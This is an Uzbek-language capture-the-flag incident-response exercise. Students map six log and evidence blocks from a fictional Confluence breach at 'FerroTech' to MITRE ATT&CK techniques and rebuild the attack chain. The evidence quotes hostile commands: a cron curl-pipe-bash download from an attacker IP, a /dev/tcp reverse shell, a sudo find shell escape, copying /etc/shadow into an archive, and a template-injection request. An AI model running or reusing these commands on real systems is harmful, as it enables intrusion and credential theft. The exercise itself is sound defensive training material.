# 🕵️ Ground Zero: "FerroTech" insidenti — MITRE ATT&CK zanjirini tiklang ## Vaziyat **FerroTech MChJ** — metallurgiya uskunalari ishlab chiqaruvchi kompaniya. Kompaniyaning muhandislik hujjatlari portali **Confluence Data Center** asosida ishlaydi va masofaviy pudratchilar/muhandislar uchun internetga ochiq holda joylashtirilgan (`SRV-WIKI-01`, ichki IP `10.20.5.11`). SOC (Security Operations Center) jamoasi FIM (File Integrity Monitoring) tizimidan kelgan alertdan so'ng tekshiruv boshladi va bir necha soatlik oynada bir-biri bilan bog'liq bo'lgan olti xil texnik artefaktni yig'ib oldi. Sizga **threat intel / IR tahlilchisi** vazifasi berildi. Jonli tizimga kirish **yo'q va shart emas** — pastda barcha kerakli xom (raw) telemetriya keltirilgan. Vazifangiz — **MITRE ATT&CK** bilimingizni qo'llab, har bir artefaktning aynan qaysi ATT&CK texnikasi (va, mavjud bo'lsa, aniq pastki-texnikasi) ekanini aniqlash, so'ngra butun hujum zanjirini **haqiqiy sodir bo'lgan tartibda** qayta tiklash. > ⚠️ **Live muhit yo'q.** Barcha javoblar faqat pastdagi matndan chiqariladi. Hech qanday > tashqi manzilga ulanishga urinish shart emas va natija bermaydi. > > ⚠️ Barcha IP manzillar hujjatlashtirish uchun ajratilgan (RFC 5737 / RFC 1918) > diapazonlardan, domenlar esa IANA maxsus-maqsad `.example` zonasidan olingan. > > ⚠️ **Vaqt zonasi:** pastdagi BARCHA jurnal yozuvlari **UTC** da berilgan — qo'shimcha > konversiya shart emas. > > 📖 **Metodologik eslatma:** darsda ko'rgan 14 taktikalik jadval — bu ATT&CK'ning > KATALOG tartibi (qulaylik uchun tuzilgan ro'yxat). Haqiqiy insidentda voqealar albatta > shu "rasmiy" tartibda sodir bo'lishi SHART EMAS — texnik bog'liqlik (masalan, biror > amal ma'lum huquq darajasini talab qiladimi) haqiqiy xronologiyani belgilaydi. Buni > pastdagi 4-bosqichda hisobga oling. --- ## 📋 Dalil bloki A — Fayl-butunlik monitoring (FIM), `SRV-WIKI-01` `/etc/cron.d/` katalogi kunlik ravishda skanerlanadi va oldingi natija bilan solishtiriladi. ```text === /etc/cron.d/ holati — 2026-06-29 23:55 UTC (hujumdan oldingi so'nggi baseline) === -rw-r--r-- 1 root root 38 2025-08-01 10:00 sysstat -rw-r--r-- 1 root root 61 2025-01-15 09:20 logrotate-hourly === /etc/cron.d/ holati — 2026-06-30 12:00 UTC (navbatdagi rejalashtirilgan skanerlash) === -rw-r--r-- 1 root root 38 2025-08-01 10:00 sysstat -rw-r--r-- 1 root root 61 2025-01-15 09:20 logrotate-hourly -rw-r--r-- 1 root root 66 2026-06-30 09:03:47 sysmetrics <-- FIM ALERT: yangi fayl --- /etc/cron.d/sysmetrics tarkibi --- */5 * * * * root curl -fsSL http://198.51.100.77:8080/hc.sh | bash ``` > **Eslatma:** `/etc/cron.d/` katalogiga yozish faqat **root** huquqiga ega > foydalanuvchiga ruxsat etilgan (yangi faylning egasi ham — `root`). --- ## 📋 Dalil bloki B — `SRV-DB-02` autentifikatsiya jurnali (`/var/log/auth.log`, UTC) `SRV-DB-02` (ichki IP `10.20.5.40`) — FerroTech'ning ichki ma'lumotlar bazasi serveri. ```text Jun 30 07:15:02 SRV-DB-02 sshd[2201]: Accepted publickey for admin_it from 10.20.1.15 port 51230 ssh2 Jun 30 07:15:02 SRV-DB-02 sshd[2201]: pam_unix(sshd:session): session opened for user admin_it by (uid=0) Jun 30 09:12:05 SRV-DB-02 sshd[3390]: Failed password for svc-monitor from 10.20.5.11 port 42880 ssh2 Jun 30 09:12:08 SRV-DB-02 sshd[3391]: Failed password for svc-monitor from 10.20.5.11 port 42884 ssh2 Jun 30 09:12:11 SRV-DB-02 sshd[3392]: Accepted password for svc-monitor from 10.20.5.11 port 42890 ssh2 Jun 30 09:12:11 SRV-DB-02 sshd[3392]: pam_unix(sshd:session): session opened for user svc-monitor by (uid=0) ``` > **Eslatma:** `svc-monitor` — ikkala serverda (`SRV-WIKI-01` va `SRV-DB-02`) ham > mavjud bo'lgan **umumiy mahalliy** xizmat hisobi (parollar markazlashtirilmagan, > ikkala hostda ham bir xil parol ishlatilgan — texnik qarz). Manba IP **`10.20.5.11`** > — bu aynan `SRV-WIKI-01`ning ichki manzili. `admin_it` orqali kirish — muntazam > administrator sessiyasi, insidentga aloqasi yo'q. --- ## 📋 Dalil bloki C — Reverse-proksi kirish jurnali (`/var/log/nginx/wiki-access.log`, UTC) ```text 203.0.113.201 - - [30/Jun/2026:08:57:02 +0000] "GET /wiki/ HTTP/1.1" 200 5210 "-" "Mozilla/5.0" 203.0.113.201 - - [30/Jun/2026:08:58:41 +0000] "GET /wiki/rest/api/space HTTP/1.1" 200 3410 "-" "python-requests/2.31.0" 10.20.9.14 - - [30/Jun/2026:08:59:10 +0000] "GET /wiki/pages/viewpage.action?pageId=4512 HTTP/1.1" 200 8890 "-" "Mozilla/5.0" 203.0.113.201 - - [30/Jun/2026:08:59:57 +0000] "POST /template/aui/text-inline.vm?jql=%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22%2Fbin%2Fbash%20-c%20%24%7BIFS%7D...%22%29%7D HTTP/1.1" 200 96 "-" "python-requests/2.31.0" ``` > **Eslatma:** `SRV-WIKI-01` — **Confluence Data Center 7.18.1** ishlatadi, 2024-yil > boshidan buyon xavfsizlik yamog'i o'rnatilmagan va portal internetga to'liq ochiq > (tashqi pudratchilar uchun). `10.20.9.14` — ichki VPN-mijoz (kompaniya muhandisi), > oddiy sahifa ko'rish, insidentga aloqasi yo'q. So'nggi `POST` so'rovi — Confluence'ning > shablon (template) mexanizmiga yuborilgan, server tomonida ixtiyoriy buyruq bajarishga > undovchi in'yeksiya namunasi. --- ## 📋 Dalil bloki D — `/etc/sudoers.d/` konfiguratsiyasi va `auth.log` (`SRV-WIKI-01`, UTC) ```text === /etc/sudoers.d/ tarkibi (IR jamoasi tomonidan olingan) === 10-ops (oxirgi o'zgartirish: 2025-11-02): opsuser ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx 20-confluence (oxirgi o'zgartirish: 2024-03-14): confluence ALL=(root) NOPASSWD: /usr/bin/find === /var/log/auth.log === Jun 30 09:01:12 SRV-WIKI-01 sudo: confluence : TTY=pts/3 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/find /tmp -name x -exec /bin/sh \; -quit Jun 30 09:01:12 SRV-WIKI-01 sudo: pam_unix(sudo:session): session opened for user root by confluence(uid=0) ``` > **Eslatma:** `20-confluence` qoidasi — 2024-yilda IT bo'limi tomonidan "vaqtinchalik > diagnostika" maqsadida qo'shilgan, keyin hech qachon olib tashlanmagan (texnik qarz). > `10-ops` qoidasi — ops jamoasi uchun, `confluence` hisobiga aloqasi yo'q va faqat > `nginx`ni qayta ishga tushirishga ruxsat beradi (shell chaqirmaydi). --- ## 📋 Dalil bloki E — Endpoint jarayon monitoring (`SRV-WIKI-01`, UTC) ```text --- Yozuv A (fon jarayon — kunlik rejalashtirilgan zaxira, ALOQASI YO'Q) --- UtcTime: 2026-06-30 03:00:00.410 ProcessId: 942 Image: /usr/bin/tar CommandLine: tar -czf /backup/wiki-daily.tar.gz /var/atlassian/confluence-data ParentImage: /usr/sbin/cron ParentProcessId: 1 User: root --- Yozuv B --- UtcTime: 2026-06-30 09:00:11.118 ProcessId: 18820 Image: /bin/bash CommandLine: bash -c "bash -i >& /dev/tcp/203.0.113.201/4444 0>&1" ParentImage: /opt/atlassian/confluence/jre/bin/java ParentProcessId: 2117 User: confluence (uid=1001) ``` > **Eslatma:** `ParentProcessId 2117` — Confluence'ning asosiy Java jarayoni. > `203.0.113.201` — Dalil C dagi hujumchi manzili bilan **bir xil**. Yozuv A — har > kuni soat 03:00da ishga tushadigan tizimli zaxira vazifasi, hujumdan mustaqil. --- ## 📋 Dalil bloki F — Fayl tizimi audit (`SRV-WIKI-01`, UTC) ```text --- Yozuv A (fon jarayon — muntazam monitoring agenti, ALOQASI YO'Q) --- UtcTime: 2026-06-30 06:00:00.000 ProcessId: 1500 Image: /usr/bin/getent CommandLine: getent passwd User: root (Faqat /etc/passwd o'qiydi, /etc/shadow bilan ishlamaydi — muntazam inventarizatsiya) --- Yozuv B --- UtcTime: 2026-06-30 09:07:29.310 ProcessId: 19042 Image: /bin/cp CommandLine: cp /etc/passwd /etc/shadow /tmp/.cache/ User: root (euid=0) ParentProcessId: 18820 UtcTime: 2026-06-30 09:07:31.900 ProcessId: 19043 Image: /bin/tar CommandLine: tar -czf /tmp/.cache/creds.tgz /tmp/.cache/passwd /tmp/.cache/shadow User: root (euid=0) ParentProcessId: 18820 ``` > **Eslatma:** `ParentProcessId 18820` — Dalil E, Yozuv Bdagi bash sessiyasi bilan > **bir xil** (o'sha reverse-shell sessiyasidan davom etgan, endi root huquqida). > Keyingi tahlil shuni ko'rsatdiki, arxivlangan `shadow` xeshlaridan biri (`svc-monitor` > hisobiga tegishli) oddiy lug'at hujumi bilan tez ochilgan — bu Dalil B dagi > voqeani izohlaydi. --- ## 🎯 Vazifa Har bir dalil blokini tahlil qiling va MITRE ATT&CK bo'yicha **aniq texnika ID**sini toping (kerak bo'lsa — pastki-texnika bilan birga). `attack.mitre.org` saytidagi matritsani (yoki ATT&CK Navigator'ni) ochiq manba sifatida ishlating; kerak bo'lgan platforma bu yerda **faqat Linux** (Windows-only texnikalarni chetlab o'ting). ### Bosqich 1 — Kirish darvozasi (60 ball) Dalil bloki **C** (tashqi kirish nuqtasi) va Dalil bloki **E** (natijada ishga tushgan buyruq) — bittasi "qanday kirishdi", ikkinchisi "nima ishga tushirdi" savoliga javob beradi. Ikkalasi uchun ham ATT&CK texnika ID'sini aniqlang. ### Bosqich 2 — Ichki mustahkamlanish (70 ball) Dalil bloki **A** (tizimda qanday doimiy qolingani) va Dalil bloki **D** (huquq qanday oshirilgani) uchun ATT&CK texnika ID'sini aniqlang. ### Bosqich 3 — Ma'lumot va tarqalish (70 ball) Dalil bloki **B** (hisob ma'lumotlari qanday ishlatilgani) va Dalil bloki **F** (hisob ma'lumotlari qanday olingani) uchun ATT&CK texnika ID'sini aniqlang. Dalil bloki **F** uchun faqat **ASOSIY (parent) texnika ID'sini** kiriting — pastki-texnikasiz (ya'ni `Txxxx` ko'rinishida, nuqtasiz). > **Eslatma:** 1—3-bosqichlarning har birida dalil bloklari shunchaki **harf > tartibida** (A, B, C...) sanab o'tilgan — bu ro'yxatlash tartibi voqealarning > haqiqiy xronologiyasi haqida HECH QANDAY signal bermaydi (4-bosqichni mustaqil > ravishda, faqat dalillardagi vaqt va texnik bog'liqlik asosida yeching). ### Bosqich 4 — To'liq hujum zanjiri (100 ball) 1—3-bosqichlarda topilgan barcha **OLTITA** texnikani, hujumchi ularni **haqiqatda bajargan xronologik/mantiqiy tartibda** birlashtiring. Buning uchun har bir dalildagi aniq UTC vaqtiga **va** texnik bog'liqlikka (masalan: ma'lum amalni bajarish uchun oldindan qanday huquq darajasi zarur) tayaning — taxmin qilmang, dalillardan isbotlang. --- ## 🚩 Flag formati (qat'iy qoida) Bu **ko'p bosqichli (multi-flag)** topshiriq — har bosqich alohida `HN{...}` flag talab qiladi. **Texnika ID'sini yozish qoidasi (barcha bosqichlar uchun bir xil, namuna — bu ham ushbu insidentga aloqasi yo'q, faqat qoidani ko'rsatish uchun):** - Agar texnikaning pastki-texnikasi (sub-technique) bo'lsa, ulardagi nuqtani (`.`) pastki chiziqqa (`_`) almashtiring va raqamlarni **3 xonali holicha** (oldingi nollarni olib tashlamasdan) qoldiring: masalan `T1566.001` → `T1566_001`. - Agar pastki-texnika bo'lmasa, ID shunchaki `Txxxx` ko'rinishida qoladi. **1—3-bosqichlar — ikkita texnikani birlashtirish qoidasi:** Ikkala texnika ID'sini **raqamli qiymati bo'yicha o'suvchi tartibda** (kichigi birinchi; bu tartib xronologiya bilan **hech qanday aloqasi yo'q**, faqat raqamlarni solishtiring) tire (`-`) bilan ulang: ``` flag = HN{ - } ``` **Namuna (bu FAQAT format tushuntirish uchun — bu ikkala texnika ushbu insidentga aloqasi YO'Q va real javob EMAS):** agar aniqlangan texnikalar `T1499` va `T1078.001` bo'lganida, raqamli qiymatlar `1078.001 < 1499` bo'lgani uchun: ``` HN{T1078_001-T1499} ``` **4-bosqich — to'liq zanjir qoidasi:** Barcha oltita ID'ni, siz aniqlagan **haqiqiy xronologik/mantiqiy tartibda** (bu safar raqam bo'yicha EMAS!), tire (`-`) bilan birma-bir ulang: ``` flag = HN{ <1-voqea>-<2-voqea>-<3-voqea>-<4-voqea>-<5-voqea>-<6-voqea> } ``` **Namuna (bu ham FAQAT format uchun, boshqa — aloqasiz — insidentdan, real javob EMAS):** ``` HN{T1566_001-T1204_002-T1490-T1486} ``` Yuqoridagi ikkala namunadagi qiymatlar haqiqiy javob emas — ularni faqat format namunasi sifatida ishlating. --- ## 🛡️ Yumshatish choralari (ma'lumot uchun) Insident tasdiqlangandan so'ng FerroTech SOC jamoasi: internetga ochiq Confluence'ni darhol izolyatsiya qilib zudlik bilan yamoqladi va WAF qoidasi bilan qopladi; xizmat hisoblariga berilgan keng qamrovli `sudo NOPASSWD` qoidalarini audit qilib, har birini "eng kam huquq" (least privilege) tamoyiliga moslab qisqartirdi; `/etc/cron.d/` va boshqa avtoboshlash joylariga FIM monitoring qamrovini kengaytirdi; mahalliy xizmat hisoblarini (`svc-monitor` kabi) barcha serverlarda bir xil parol bilan ishlatishni bekor qilib, markazlashtirilgan identifikatsiya (LDAP/AD) va har bir hostga individual maxfiy kalitga o'tdi; DMZ (Confluence) va ichki ma'lumotlar bazasi segmenti orasidagi tarmoq segmentatsiyasini kuchaytirdi (ilgari SSH orqali erkin o'tish mumkin edi). --- ## 💡 Yordam (Hints)

Yordam 1 — Metodologiya

Har bir dalil blokidagi "fon jarayon / ALOQASI YO'Q" deb belgilangan yozuvlarni darhol chetlab o'ting — ular decoy. Qolgan har bir yozuv uchun: (a) qaysi OS mexanizmi ishlatilgani (masalan: cron fayli, sudo qoidasi, ssh protokoli, shell buyruq bajarish, /etc/shadow fayli) — shuni aniq ayting; (b) shu mexanizmning ATT&CK saytidagi "platforma" filtri Linux/Linux-only ekanini tekshiring — bir nechta o'xshash texnika Windows uchun alohida ID'ga ega, ular mos kelmaydi.

Yordam 2 — Pastki-texnika aniqligi va 4-bosqich mantiqi

Ko'pgina ATT&CK asosiy texnikalarining bir nechta pastki-texnikasi bor va ularning har biri boshqa-boshqa mexanizm/platformaga tegishli — masalan, darsda ko'rgan T1566 (Phishing)ning `.001` (Attachment — biriktirilgan fayl), `.002` (Link — havola) va `.003` (Service — xizmat orqali) kabi turlari bor edi; ular bir xil maqsadga (aldov orqali kirish) xizmat qiladi, lekin YETKAZISH usuli bo'yicha farq qiladi va har biri alohida ID'ga ega. Xuddi shu mantiqni qo'llang: har bir dalil blokidagi ANIQ texnik detalni (qaysi buyruq/fayl/protokol ishlatilgan va bu FAQAT Linux'da uchraydimi yoki boshqa OS'da ham bormi) diqqat bilan o'qib, ATT&CK sahifasidagi pastki-texnikalar ro'yxatidan aynan shu mexanizmga mos keladigan BITTASINI tanlang — qolganlari boshqa OS/mexanizmga tegishli bo'lgani uchun mos kelmaydi. 4-bosqich uchun: ATT&CK matritsasidagi taktikalar ustunining tartib raqami — bu shunchaki katalog tartibi, insidentning haqiqiy xronologiyasi emas. Har bir voqeaning UTC vaqtidan tashqari, "bu amalni bajarish uchun oldindan qanday huquq darajasi zarur edi" deb so'rang — ba'zi amallar root talab qiladi, ba'zilari yo'q; shu savol ikkita voqeaning kutilgandan boshqacha tartibda joylashishini ko'rsatadi.

Yordam 3 — Qidiruvni qanday toraytirish kerak (eng kuchli yordam)

Dalil bloki C — internetga ochiq, yamoqlanmagan veb-ilovaga (Confluence) qilingan BIRINCHI tashqi so'rov orqali serverda kod bajarilishi, ya'ni **Initial Access** taktikasi. Diqqat: ATT&CK'da "Exploitation of Remote Services" degan boshqa bir texnika ham bor, lekin u — **Lateral Movement** taktikasiga tegishli va faqat hujumchi ALLAQACHON bitta ichki xostda turib, o'sha yerdan TASHQI TARMOQDAGI EMAS, balki xuddi shu ichki tarmoqdagi boshqa xostga zaiflik orqali o'tganda qo'llaniladi — bizning holatimizda esa bu hujumchining tashqi internetdan ilk marta kirishi, oldin hech qanday ichki xost egallanmagan. Shu farqni ATT&CK saytida ikkala texnikaning ta'rifini o'qib solishtiring: "Initial Access" taktikasi ro'yxatida, "internetga ochiq DASTUR yoki XIZMATDAGI zaiflikni (bag, glitch yoki dizayn kamchiligini) ekspluatatsiya qilish orqali kutilmagan xatti-harakatga erishish" ta'rifiga mos keladigan, pastki-texnikasiz, bitta ID'ni toping — uning "Procedure Examples" bo'limida xuddi shunga o'xshash Confluence/Atlassian hujumlari hujjatlashtirilgan bo'lishi kerak. Qolgan besh dalil uchun ham xuddi shu usulda (aniq mexanizm → tegishli taktika ro'yxati → ta'rifni solishtirish → platform filtri) harakat qiling.

--- ## 📚 Foydali resurslar - `attack.mitre.org` — MITRE ATT&CK Enterprise Matrix (Initial Access, Execution, Persistence, Privilege Escalation, Credential Access, Lateral Movement taktikalari) - ATT&CK Navigator — texnikalarni platforma bo'yicha filtrlash uchun - GTFOBins (`gtfobins.github.io`) — `sudo`/SUID orqali imtiyoz oshirish texnikalari bazasi (Dalil D tahlili uchun foydali)

Ground Zero: "FerroTech" insidenti — MITRE ATT&CK zanjirini tiklang

Bosqichlar

Kirish darvozasi

Ichki mustahkamlanish

Ma'lumot va tarqalish

To'liq hujum zanjiri